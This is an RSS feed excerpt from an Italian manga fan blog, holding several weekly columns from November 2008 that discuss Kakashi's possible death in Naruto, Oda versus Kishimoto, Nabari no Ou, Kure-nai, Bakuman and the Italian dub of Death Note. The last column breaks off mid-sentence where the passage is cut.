		<category><![CDATA[Kure-nai]]></category>
		<category><![CDATA[Masashi Kishimoto]]></category>
		<category><![CDATA[Nabari no Ou]]></category>
		<category><![CDATA[nabari no ou doujinshi]]></category>
		<category><![CDATA[nabari no ou yaoi]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=6244</guid>
		<description><![CDATA[ &#8230; Svelti, un elettrocardiogramma per Kakashi!
Inutile prenderci in giro: questo è l&#8217;argomento destinato a tenere banco per tutta la settimana. E allora tuffiamoci nella discussione, cerchiamo di sviscerare la questione e di chiarire alcuni punti che potranno interessare a molti di voi!
Ecco gli argomenti di questa settimana: Naruto, Nabari no Ou e le possibile [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-17-col-fiato-sospeso/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #17 &#8211; Col fiato sospeso&#8230;'>L&#8217;Angolo del Blurry #17 &#8211; Col fiato sospeso&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?'>L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-1/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #1'>L&#8217;Angolo del Blurry #1</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.komixjam.it/wp-content/uploads/2008/11/images.jpg"><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-6245" title="images" src="http://www.komixjam.it/wp-content/uploads/2008/11/images.jpg" alt="images LAngolo (retto) del Blurry #18   Vedere il Futuro..." width="123" height="118" /></a> &#8230; Svelti, un elettrocardiogramma per Kakashi!</p>
<p>Inutile prenderci in giro: questo è l&#8217;argomento destinato a tenere banco per tutta la settimana. E allora tuffiamoci nella discussione, cerchiamo di sviscerare la questione e di chiarire alcuni punti che potranno interessare a molti di voi!</p>
<p>Ecco gli argomenti di questa settimana: <strong>Naruto, Nabari no Ou</strong> e le possibile <strong>censure</strong>, <strong>Manga Helpers</strong>, il mondo del <strong>Jump</strong>, e qualche mia considerazione sulla direzione che stanno prendendo i manga in questo inizio di millennio.</p>
<p><span id="more-6244"></span></p>
<p>E proprio da<strong> Kakashi</strong> cominciamo. Ma insomma, è morto o no? Sono partiti i flashback, il che non è mai rassicurante se si tratta di un personaggio di Naruto ferito o in una situazione critica: come sappiamo bene, i flashback sono il consueto modo di Kishimoto per invitarci a preparare i fazzoletti. Eppure&#8230; Non c&#8217;è qualcosa di strano? In effetti sì. In molti lo avete notato, rispondendo alle mie riflessioni di due settimane fa. Ebbene, non posso far altro che rinforzare questa impressione. Non solo: nel mio piccolo, ho anche provato a dare una spiegazione a questa situazione. Passo quindi ad esporvi le mie considerazioni, invitandovi comunque a prenderle con la massima cautela dal momento che sono mie pure e semplici speculazioni. Ora, non è certo un mistero che l&#8217;autore non sia l&#8217;unico ad avere potere decisionale sulla vita e sulla morte dei personaggi. Gli editori esercitano un controllo non di rado determinante sulle scelte, anche fondamentali, relative alla trama di un manga e al destino dei suoi personaggi. In questo senso, ovviamente, sono decisive le preferenze dei lettori: &#8220;uccidere&#8221; un personaggio costantemente ai vertici delle preferenze dei lettori è sempre una scelta impopolare e pericolosa dal punto di vista delle vendite. Pertanto, non è raro che la morte di un personaggio del genere possa essere &#8220;rimandata&#8221; ad un momento in cui &#8211; ormai &#8211; le vendite hanno raggiunto un livello di costanza soddisfacente. Questo <em>potrebbe </em>essere anche il caso di Kakashi. Cosa mi ha portato a pensare una cosa del genere? Beh, anzitutto il fatto che il suo &#8220;scontro&#8221; con Pain sia stato piuttosto insensato&#8230; Voglio dire, Kakashi è arrivato là senza avere una &#8220;storia&#8221; che lo legasse in qualche modo a Pain, nè tantomeno questo scontro rappresenta il vertice di una &#8220;riflessione&#8221; che abbia avuto luogo nella psiche del Jounin&#8230; In un certo senso, si può dire che Kakashi sia stato praticamente inutilizzato dai tempi dello scontro con Kakuzu e Hidan. Già! Non vi sembra strano? Non vi sembra invece possibile che la sua morte potesse essere stata programmata in origine proprio in quella occasione? Ricordate il discorso finale che Kakashi fa prima di infliggere a Kakuzu il colpo di grazia? Non vi sembra un ottimo &#8220;discorso d&#8217;addio&#8221; per un personaggio come lui? E a pensarci bene, cosa è successo a Kakashi da allora? Praticamente niente. L&#8217;unico momento di spicco l&#8217;abbiamo avuto quando è riuscito ad intravedere lo sharingan nell&#8217;occhio di Tobi&#8230; Beh, niente che qualcun altro non sarebbe riuscito a fare. Per questi motivi ho iniziato a pensare che forse la morte di Kakashi sia stata rimandata per scelte editoriali ad un momento in cui, per forza di cose, il <em>pathos</em> che ne può scaturire è sicuramente minore.</p>
<p>Comunque, ripeto, queste sono mie supposizioni. Se è vero che qualsiasi autore debba sottostare alle indicazioni degli editori, è anche vero che un autore relativamente &#8220;potente&#8221; come Kishimoto ha sicuramente una libertà maggiore da questo punto di vista. Certo, resta il fatto che &#8211; secondo i soliti ben informati &#8211; personaggi come Juugo, Karin e Suigetsu non erano presenti nel progetto di Kishimoto e sono stati inseriti per volere dell&#8217;editore. Io non so se questo sia vero, ma nel caso lo fosse, beh, allora non ci sarebbe da stupirsi se la morte di un personaggio importante come Kakashi fosse stata effettivamente ritardata per ragioni commerciali.</p>
<p>Credo sia anche giusto dire la mia nella diatriba <strong>Oda vs. Kishimoto </strong>che sta avendo luogo su queste pagine. Se vi chiedessi: &#8220;preferite crema o cioccolato?&#8221; da ognuno di voi avrei una risposta diversa, e probabilmente capite benissimo da soli che non si tratta di decidere cosa sia migliore in assoluto, bensì cosa piaccia al singolo individuo. Scommetto che molti di voi mi direbbero anche che in un buon gelato ci devono essere entrambi i gusti. Ecco, io mi trovo d&#8217;accordo. Credo che Oda e Kishimoto siano due mangaka completamente differenti, entrambi geniali a mio modo di vedere, due facce opposte della stessa medaglia. Non c&#8217;è dubbio che siano i mangaka più influenti degli ultimi 10 anni, gli unici che hanno saputo ripetere nel mondo degli shounen la stessa rivoluzione di cui si rese protagonista il grandissimo Akira Toriyama. Sono due rivoluzionari, due menti interamente devote al loro lavoro &#8211; a testimonianza di ciò c&#8217;è il fatto che entrambi mantengono dei ritmi di lavoro assolutamente folli da ben dieci anni!</p>
<p>A parte le ovvie differenze stilistiche, esiste una differenza molto importante tra Oda e Kishimoto. Oda è sicuramente un mangaka sui generis, ha creato un universo &#8220;fantasy&#8221; completamente folle, quasi del tutto distaccato dalla realtà. Ha realizzato un&#8217;opera in cui riesce a descrivere un sistema, un mondo che deriva completamente dalla sua stessa immaginazione. Per questo, non potrà mai fare &#8220;scuola&#8221;: è del tutto inimitabile. I mangaka come Oda sono delle eccezioni alla regola. Kishimoto, invece, ha una potenzialità ben diversa da questo punto di vista. Forse è &#8220;meno&#8221; geniale, in quanto maggiormente debitore ai propri predecessori. Il suo manga ha maggiore attinenza alla realtà che lo circonda e, anzi, assorbe da essa la sua linfa vitale, sia nei valori che nelle situazioni, fino ad arrivare alla rappresentazione dei luoghi. Kishimoto, in altre parole, è una spugna che assorbe dal mondo circostante l&#8217;ispirazione da trasferire nel proprio manga. D&#8217;altra parte è anche vero che il cittadino di Okayama si pone a sua volta come capostipite: è stato Kishimoto, infatti, a decretare definitivamente la ripresa degli shinobi e del ninjutsu come colonne portanti dello shounen manga. Da questo punto di vista, se Oda è completamente preso dal proprio incredibile mondo, Kishimoto è forse quel tipo di artista capace di precedere tutti e di decretare un nuovo trend. In effetti le conseguenze del lavoro di Kishimoto si iniziano a vedere: sta arrivando una generazione di mangaka che sono cresciuti leggendo le avventure di Naruto nel mondo degli shinobi, e che pertanto risultano pesantemente influenzati dal maestro di Okayama. Nessuno, in ultima analisi, potrà più fare shounen manga senza fare i conti con Kishimoto. E certo, probabilmente Naruto col tempo ha perduto un po&#8217; della sua carica emotiva, ma ho come l&#8217;impressione che a volte tendiamo a perdere di vista la portata del lavoro di Kishimoto, a mio avviso epocale.</p>
<p>Accenavo al discorso circa il <strong>futuro </strong>dei manga. Beh, sicuramente se parliamo di Shounen manga assisteremo all&#8217;arrivo di una generazione di autori che sono cresciuti leggendo sostanzialmente Bleach, Naruto e One Piece.</p>
<p> </p>
<p><span style="color: #ff0000;"><strong>[Attenzione! Il resto dell'articolo contiene spoiler di Nabari no Ou, sia manga che anime, cliccate sul pulsante qua sotto per visualizzare il testo]</strong></span></p>
<p> </p>
<p>[spoiler]<strong> Nabari no Ou </strong>di Yuuki Kamatani è forse il primo esempio convincente di manga della scuola &#8220;shinobi&#8221;. La Kamatani stessa si dice profondamente ispirata da Kishimoto. E si vede! Anzitutto, l&#8217;ambientazione della storia: Okayama, la città natale di Kishimoto. Il plot che ruota intorno agli shinobi &#8211; sebbene inseriti a tutti gli effetti nel mondo reale, scelta gestita in modo piuttosto felice. L&#8217;elemento della &#8220;tecnica onnipotente&#8221; che risiede dentro il corpo del protagonista Miharu &#8211; inevitabile l&#8217;analogia con Naruto ed il Kyuubi. Il &#8220;nemico/amico&#8221; Yoite ( e qui sul concetto di &#8220;amico&#8221; ci sarebbe parecchio da discutere dati gli sviluppi che fanno pensare più ad una storia d&#8217;amore che ad un&#8217;amicizia!) che si sta riducendo in fin di vita utilizzando una tecnica proibita e che vorrebbe non essere mai esistito (un mix tra Gaara, Itachi e Sasuke?). Il maestro che funge da &#8220;capo&#8221; del team dei protagonisti, per molti aspetti simile a Kakashi ed Iruka. La storia del clan Shimizu, in cui Raimei vede il fratello Raikou sterminare la famiglia &#8211; salvo poi venire a scoprire che l&#8217;aveva fatto a fin di bene&#8230; Uchiha anyone? Il nome di alcune tecniche: Konohagakure&#8230; Kirigakure&#8230; Insomma, un tributo sicuramente importante che tuttavia non pregiudica l&#8217;originalità del manga della Kamatani, uno dei più interessanti degli ultimi anni. Non un manga da Jump, però, data la sua particolarità. Non c&#8217;è da stupirsi che sia stata proprio Tv Tokyo a trasmettere l&#8217;ottimo anime, che come forse saprete consta di 26 episodi con una fine, mentre il manga invece prosegue oltre la fine dell&#8217;anime ed è tuttora in serializzazione mensile sul GFantasy. [/spoiler]</p>
<p>Dal punto di vista dei Seinen, mi sembra ormai consolidata la tendenza a presentare spaccati di vita quotidiana largamente permeati dal senso di amarezza e da una riflessione seria e ben articolata sul Giappone moderno e sulla particolarissima situazione socioculturale in cui i nuovi ragazzi giapponesi si trovano coinvolti, tra l&#8217;eredità della generazione di Harajuku e le nuove tendenze meno trasgressive almeno dal punto di vista estetico. Quel senso di sospensione tra &#8220;vita regolare&#8221; e tentativi di ritagliarsi un&#8217;esistenza improntata alla ricerca della piena realizzazione presente, sebbene in forme meno problematiche, anche in Bakuman.</p>
<p><strong>Mangahelpers</strong> ha cambiato veste grafica e organizzazione. Si sta anche lavorando ad un sistema che permetta di attribuire ai traduttori dal giapponese (e non) un ranking che renda conto delle loro reali capacità sulla base di test, supervisioni di traduttori esperti ecc&#8230; Ci sarà da divertirsi. In ogni caso, con questo cambio di veste, MH si avvia a diventare sempre più automatizzato e funzionale. Ultimamente poi la disponibilità delle raws dei manga più disparati è cresciuta notevolmente: il tutto, grazie al lavoro instancabile degli amministratori e di chi ha prestato loro aiuto: gente veramente degna di tutta la nostra ammirazione che sta facendo qualcosa di veramente grande per il nostro mondo. Qualcosa che fino a poco tempo fa era addirittura impensabile. E, che dire, sono onorato di far parte dello staff dei traduttori e intendo continuare a contribuire col mio lavoro.</p>
<p>Infine, chiudo con qualcosa che farà sicuramente contente le Fangirls che ci seguono&#8230; La seconda ending di Nabari no Ou, una delle più belle ending che mi sia capitato di vedere. Quando si dice che certi manga si tengono sul filo dell&#8217;ambiguità&#8230; qui mi sa che quel confine è stato ampiamente superato, soprattutto quando la canzone utilizzata para manifestamente d&#8217;amore! Che ne dite, la vedremo anche nella versione italiana?</p>
<p><a href="http://it.youtube.com/watch?v=bOy1z4NZvTM">Arugamama &#8211; Nabari no Ou 2nd Ending Theme</a></p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-17-col-fiato-sospeso/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #17 &#8211; Col fiato sospeso&#8230;'>L&#8217;Angolo del Blurry #17 &#8211; Col fiato sospeso&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-19-immacolata-che/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?'>L&#8217;Angolo del Blurry #19 &#8211; Immacolata che?</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-1/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #1'>L&#8217;Angolo del Blurry #1</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-retto-del-blurry-18-vedere-il-futuro/feed/</wfw:commentRss>
		<slash:comments>104</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #17 &#8211; Col fiato sospeso&#8230;</title>
		<link>http://www.komixjam.it/langolo-del-blurry-17-col-fiato-sospeso/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-17-col-fiato-sospeso/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 08:11:17 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[Manga]]></category>
		<category><![CDATA[Kure-nai]]></category>
		<category><![CDATA[Miyoshi]]></category>
		<category><![CDATA[Nabari no Ou]]></category>
		<category><![CDATA[Shuujin]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=5876</guid>
		<description><![CDATA[Lo sapevo&#8230; Brutto segno quando un anime inizia a piacermi sul serio. Bruttissimo segno. Il desiderio di possesso del manga diventa folle, ed ecco che mi precipito su Amazon.co.jp, totalmente incurante del fatto che adesso l&#8217;unico tipo di spedizione che effettuano è quella super veloce che costa un occhio&#8230; E dunque eccomi qui, pochi giorni [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-retto-del-blurry-18-vedere-il-futuro/' rel='bookmark' title='Permanent Link: L&#8217;Angolo (retto) del Blurry #18 &#8211; Vedere il Futuro&#8230;'>L&#8217;Angolo (retto) del Blurry #18 &#8211; Vedere il Futuro&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-7-nevrosi-estiva/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #7 &#8211; Nevrosi Estiva!'>L&#8217;Angolo del Blurry #7 &#8211; Nevrosi Estiva!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-20-shinra-tensei/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #20 &#8211; Shinra Tensei!'>L&#8217;Angolo del Blurry #20 &#8211; Shinra Tensei!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-full wp-image-5918" title="manga-shop" src="http://www.komixjam.it/wp-content/uploads/2008/11/manga-shop.jpg" alt="manga shop LAngolo del Blurry #17   Col fiato sospeso..." width="180" height="270" />Lo sapevo&#8230; Brutto segno quando un anime inizia a piacermi sul serio. Bruttissimo segno. Il desiderio di possesso del manga diventa folle, ed ecco che mi precipito su Amazon.co.jp, totalmente incurante del fatto che adesso l&#8217;unico tipo di spedizione che effettuano è quella super veloce che costa un occhio&#8230; E dunque eccomi qui, pochi giorni dopo la mia follia da <strong>MAS &#8211; Manga Acquisition Syndrome</strong> &#8211; mentre, stremato dalla giornata di studio, mi calo nell&#8217;ormai irrinunciabile lettura di Nabari no Ou&#8230; Ovvio, Nabari no Ou, che pensavate?!</p>
<p>Ora. Sappiate che io non sono affatto un intenditore. Nel senso che a me non interessa poi tanto andare a ricercare serie sconosciute da veri esperti di manga, nè tantomeno ricordo a memoria nomi di autori e relative &#8220;bibliografie&#8221;. Io mi affido all&#8217;unica vera regola che ritengo valida in questo campo: &#8220;Leggi quel che ti pare&#8221;, il cui corollario è &#8220;Basta che piaccia a te&#8221;.</p>
<p><span id="more-5876"></span></p>
<p>Ora, è sicuramente vero che Nabari non è uno shounen manga mainstream. Prima di adocchiare <a href="http://www.komixjam.it/nabari-no-ou-dal-28-ottobre-su-mtv/">l&#8217;anime su MTV</a> era solo un titolo che avevo sentito di sfuggita da qualche amico/a. Mi era stato descritto come un manga interessante e con ottime potenzialità &#8211; e in effetti, qualsiasi manga con personaggi palesemente emo e scarsamente eterosessuali ha grandissime potenzialità&#8230;</p>
<p>E quindi me lo sto leggendo tutto d&#8217;un fiato, forte anche del fatto che non si tratti di un manga particolarmente difficile da leggere in giapponese &#8211; e menomale, perchè con Bakuman stavo sclerando abbastanza ultimamente. Devo dire che l&#8217;impressione generale è molto buona. L&#8217;anime, per forza di cose, è un tantino &#8220;affrettato&#8221; in certi contesti della storia, e momenti magari fondamentali o comunque importanti sono stati compressi eccessivamente, come spesso accade. Tra l&#8217;altro, può essere interessante notare che trama dell&#8217;anime non corrisponda pedissequamente a quella dell&#8217;anime: in particolare, le abilità e i ruoli dei personaggi sono leggermente diversi. Lo stesso Miharu, per esempio, è in grado di combattere utilizzando il ninjutsu nel manga, cosa che nell&#8217;anime non accade. Ci sono poi alcune differenze non secondarie circa la timeline degli eventi, che nell&#8217;anime è stata talvolta ri-arrangiata&#8230;  Nonostante queste discrepanze, il succo è sostanzialmente lo stesso, e Nabari no Ou è soprattutto la storia dell&#8217;amor &#8211; ehm&#8230; amicizia, volevo dire &#8211; tra Miharu e Yoite. Devo dire che l&#8217;impostazione sempre piuttosto tendente alla suggestione dello shounen-ai non è per niente sgradevole: non trasuda, come invece accade in altri manga, quella sensazione di volgare fanservice fine a sé stesso. Nel caso di Nabari, <strong>i momenti &#8220;commoventi&#8221;</strong> sono veramente tali, sono ben gestiti e perfettamente integrati nell&#8217;economia di un manga che si configura fondamentalmente come un shounen atipico: devo quindi concludere che la Kamatani sta portando avanti un ottimo lavoro. Per quel che mi riguarda, Nabari è un manga al quale mi sono affezionato subito. Oggettivamente parlando, è</p>
<p><a href="http://www.komixjam.it/wp-content/uploads/2008/11/cimg0223.jpg"><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="size-medium wp-image-5886 alignleft" title="cimg0223" src="http://www.komixjam.it/wp-content/uploads/2008/11/cimg0223-300x225.jpg" alt="cimg0223 300x225 LAngolo del Blurry #17   Col fiato sospeso..." width="300" height="225" /></a></p>
<p>uno shounen assolutamente onesto: non vi cambierà la vita ma leggerlo vi divertirà. Una nota a mio parere molto piacevole è l&#8217;ambientazione. Non ci sono riferimenti geografici ben precisi circa la città di Miharu e dei suoi amici, ma a me <strong>ha ricordato molto Kamakura</strong>, una cittadina sul mare a una mezz&#8217;oretta di treno da Tokyo, famosa perchè un&#8217;epoca della storia giapponese porta il suo nome e per i suoi splendidi monumenti. Quindi, ho pensato di postarvi una foto fatta da me per permettervi di fare il confronto.</p>
<p style="text-align: left;">Onestamente trovo che somigli molto a certe inquadrature che nell&#8217;anime si vedono spesso.</p>
<p style="text-align: left;">Bene, finita la sviolinata su Nabari, <strong>passerei a Kure-Nai</strong>. Come vedete ci siamo dati anche noi alla causa dei mensili. Perchè? Beh, fondamentalmente perchè Kure-Nai ci è piaciuto. E&#8217; un manga tutto sommato poco conosciuto, tratto da una serie di Light Novel abbastanza popolari in Giappone, e proprio per questo forse non immediatamente comprensibile a chi è completamente digiuno della trama. A questo proposito non posso che consigliarvi la visione <a href="http://www.komixjam.it/kure-nai-anime/"><strong>dell&#8217;anime</strong></a> che, oltre ad essere una stupenda opera d&#8217;animazione sotto ogni profilo, è anche utile per prendere confidenza con la trama e i personaggi: trovo che per me sia stato molto utile pervenire al manga solo dopo aver fatto conoscenza con l&#8217;anime che, comunque, non è un&#8217;esatta trasposizione del manga, essendo praticamente &#8220;indipendente&#8221;, quasi un prequel. Vi ricordo che il nostro Fet ne aveva <a href="http://www.komixjam.it/kure-nai-anime/">già parlato.</a></p>
<p style="text-align: left;">Insomma, Kure-Nai è semplicemente un bel manga, qualcosa di piuttosto differente dalla media dei manga che girano in questo momento. Non per niente, pare che stia riscuotendo un successo non indifferente in Giappone, probabilmente anche trainato dal meraviglioso anime &#8211; a mio modesto parere uno dei meglio realizzati degli ultimi due o tre anni.</p>
<p style="text-align: left;"><strong>Parlando di Bakuman</strong>, la storia mi lascia sempre più perplesso. Onestamente è la prima volta che vedo mettere tanta carne al fuoco in soli 14 capitoli. Beh, ovviamente non ci si poteva aspettare diversamente da un manga che comincia con una promessa di matrimonio&#8230;! Attualmente non riesco a capire quale sia il punto: adesso che i ragazzi hanno finito le scuole medie sostanzialmente non dovrebbero più vedersi: ma sarà veramente così? Oppure Saikou e Azuki sono destinati a incontrarsi anche prima della realizzazione dei loro sogni, magari con la complicità di Miyoshi e Shuujin? Una cosa che mi sta un po&#8217; infastidendo, devo dire, è l&#8217;eccessiva preponderanza delle &#8220;coppiette&#8221; in questo manga. In un certo senso, gli autori stanno contravvenendo alla regola non scritta dei mangaka che insegna che per assicurarsi un fandom prospero è necessario limitarsi a disseminare &#8220;hints&#8221; (indizi) circa la possibile esistenza di coppie &#8211; possibilmente shounen-ai, che fa vendere di più XD Voi che ne pensate?</p>
<p style="text-align: left;"><strong>Intanto, a Konoha</strong>, quel poveraccio di Kakashi è ancora là a terra, tra vita e morte&#8230; Bah&#8230; Certo che ce ne sarebbero di cose da dire&#8230;! E allora vi dico: continuate a dire la vostra, la prossima settimana l&#8217;Angolo sarà ovviamente dedicato a Naruto. Vi propongo anche una sorta di scambio: io mi sono presentato e praticamente sapete quasi tutto di me&#8230; Che ne dite di presentarvi anche voi, adesso? Provenienza, età, cosa fate nella vita&#8230; Sarebbe carino, anche perchè mi permetterebbe di capire meglio chi sia il pubblico di Komixjam, e magari di stabilire se esistano dei minimi comun denominatori e quali siano.</p>
<p style="text-align: left;">じゃあね！</p>
<p style="text-align: left;">


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-retto-del-blurry-18-vedere-il-futuro/' rel='bookmark' title='Permanent Link: L&#8217;Angolo (retto) del Blurry #18 &#8211; Vedere il Futuro&#8230;'>L&#8217;Angolo (retto) del Blurry #18 &#8211; Vedere il Futuro&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-7-nevrosi-estiva/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #7 &#8211; Nevrosi Estiva!'>L&#8217;Angolo del Blurry #7 &#8211; Nevrosi Estiva!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-20-shinra-tensei/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #20 &#8211; Shinra Tensei!'>L&#8217;Angolo del Blurry #20 &#8211; Shinra Tensei!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-17-col-fiato-sospeso/feed/</wfw:commentRss>
		<slash:comments>90</slash:comments>
		</item>
		<item>
		<title>L&#8217;Angolo del Blurry #16 &#8211; Blurry&#8217;s Anatomy&#8230;</title>
		<link>http://www.komixjam.it/langolo-del-blurry-16-blurrys-anatomy/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-16-blurrys-anatomy/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 15:14:27 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[blurry]]></category>
		<category><![CDATA[Naruto]]></category>
		<category><![CDATA[Shunran]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=5556</guid>
		<description><![CDATA[&#8230; Ok, diciamo le cose come stanno. Sono incredibilmente stressato, compresso, esausto, annichilito, devastato, lesso, fritto, arrosto, demolito, esfoliato&#8230;! I miei globuli rossi sono ubriachi di caffeina assunta per riuscire a preparare in tempi ragionevoli due esami che si preannunciano devastanti&#8230; Eppure&#8230; Eppure&#8230; Eppure niente mi impedisce di portarvi, questa settimana, un angolo del Blurry [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-21-rospi-che-parlano-romano/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #21 &#8211; Rospi che parlano romano&#8230;'>L&#8217;Angolo del Blurry #21 &#8211; Rospi che parlano romano&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-rain/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #10 &#8211; 雨が&#8230; Rain'>L&#8217;Angolo del Blurry #10 &#8211; 雨が&#8230; Rain</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.komixjam.it/wp-content/uploads/2008/11/imageout.jpg"><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-5561" title="imageout" src="http://www.komixjam.it/wp-content/uploads/2008/11/imageout-150x150.jpg" alt="imageout 150x150 LAngolo del Blurry #16   Blurrys Anatomy..." width="150" height="150" /></a>&#8230; Ok, diciamo le cose come stanno. Sono incredibilmente stressato, compresso, esausto, annichilito, devastato, lesso, fritto, arrosto, demolito, esfoliato&#8230;! I miei globuli rossi sono ubriachi di caffeina assunta per riuscire a preparare in tempi ragionevoli due esami che si preannunciano devastanti&#8230; Eppure&#8230; Eppure&#8230; Eppure niente mi impedisce di portarvi, questa settimana, un angolo del Blurry fiammeggiante come non mai!</p>
<p><span id="more-5556"></span>Bene bene&#8230; Questa settimana ho veramente un sacco di cose di cui parlarvi, probabilmente accumulate in un mesetto di aggiornamenti, news ed esperienze interessanti. Esaurito lo stordimento post-Lucca, ho potuto finalmente dare un&#8217;occhiata alla <a href="http://www.komixjam.it/ritorna-lmtv-anime-night/">MTV Anime Night</a>. Comprensibilmente, l&#8217;attesa era a dir poco febbrile considerata l&#8217;entità del piatto forte della programmazione: niente meno che <strong>Death Note. </strong>E proprio da qui inizieremo. Il mio giudizio personale è che l&#8217;adattamento meriti una sufficienza piena. Non di più. La traduzione è abbastanza buona, la scelta di non stravolgere troppo i dialoghi è stata molto apprezzabile &#8211; questo l&#8217;ho anche verificato manga giapponese alla mano &#8211; ma ritengo che, come al solito, la scelta dei doppiatori non sia stata delle più felici. Flavio Aquilone nei panni di Light dimostra ottime doti interpretative ma a mio personalissimo parere è fin troppo &#8220;teatrale&#8221;, tradendo un po&#8217; una certa freddezza di fondo insita nell&#8217;originale di Mamoru Miyano. Forse un po&#8217; meno d&#8217;enfasi avrebbe fatto la differenza.</p>
<p>Non ho amato particolarmente la performance di Stefano Crescentini come L, ma dovrò aspettare di sentirlo parlare più a lungo senza effetti.</p>
<p>Una nota positiva, sempre a mio parere, l&#8217;ho riscontrata nell&#8217;interpretazione di Ryuk ad opera di Alessandro Rossi, piuttosto convincente.</p>
<p>Death Note, dunque, pur non avendomi convinto in pieno beneficia comunque di uno sforzo adattativo decisamente sopra la media. La vera sorpresa, per me, è stato però<strong> Nabari no Ou,</strong> trasposizione televisiva in 26 episodi dell&#8217;omonimo manga di Yuuki Kamatani, serializzato sul non molto noto &#8211; almeno dalle nostre parti &#8211; Monthly Gangan Fantasty, e ancora in corso di pubblicazione. La storia in sé non è niente di eclatante, ma in qualche modo questo manga che tratta di Shinobi, tecniche proibite e personaggi depressive-emo ai giorni nostri mi ha abbastanza colpito. Ho letto moltissimi giudizi negativi al riguardo, ma onestamente non riesco a dirne male: chiaramente non sarà il manga/anime che vi cambierà la vita, ma si lascia guardare molto piacevolmente. Grazie a un fanservice yaoi spesso pesantemente calcato, sono sicuro che riscuoterà un certo successo a breve. Restando in tema di adattamento, ho subito voluto confrontare la versione italiana con l&#8217;anime giapponese e con il manga giapponese &#8211; che però presenta alcune differenze sostanziali rispetto alla trasposizione anime. Devo dire che è stato fatto un lavoro davvero non da poco: in particolare la voce di Miharu, il protagonista è quanto di più simile all&#8217;originale mi sia capitato di sentire da un po&#8217; di tempo a questa parte, e questo fa sempre piacere. Ovviamente questa è la mia opinione, sia chiaro.</p>
<p>Finita a carrellata sull&#8217;MTV Anime Night, è impossibile non parlare di <strong>Naruto. </strong>E qui la domanda sorge spontanea: <strong>Kakashi</strong> ci sta veramente lasciando? E&#8217; davvero possibile che il personaggio N° 1 nella nuova classifica di gradimento dei lettori sparisca definitivamente dalla scena? Ancora non lo sappiamo, e la pausa che Kishimoto si è preso dalla pubblicazione non ci aiuta da questo punto di vista. Molte se ne sono dette: c&#8217;è chi ha pensato ad un intervento di Sasuke &#8211; che a me pare alquanto improbabile; c&#8217;è chi invece ha pronosticato un intervento in extremis di Gai&#8230; E qui credo di poter alzare la mano anch&#8217;io. In effetti non vi pare strano che Gai, l&#8217;amicone di Kakashi, non si sia ancora fatto vedere con il suo &#8220;Youth Full Poweeeerrrr!&#8221;&#8230;? A mio parere possiamo ragionevolmente sperare in un suo intervento. Piucchealtro, l&#8217;elemento che più mi ha lasciato perplesso è la relativa inutilità della morte di Kakashi in un simile frangente: voglio dire&#8230; E&#8217; arrivato sulla scena del combattimento e in quattro balletti si è trovato immobilizzato da uno scorpione robotico in balia del sadismo di Pain&#8230; non vi pare un po&#8217; strano? Ho sempre pensato che la morte di Kakashi sarebbe avvenuta in un momento più solenne, magari contro un avversario legato in qualche modo al suo passato, come potrebbe essere Sasuke. E&#8217; davvero possibile che adesso Kishimoto lo faccia morire in una circostanza così assurda e repentina&#8230;? Peraltro dopo aver fatto morire il padre di Chouji, in un modo che francamente mi è sembrato 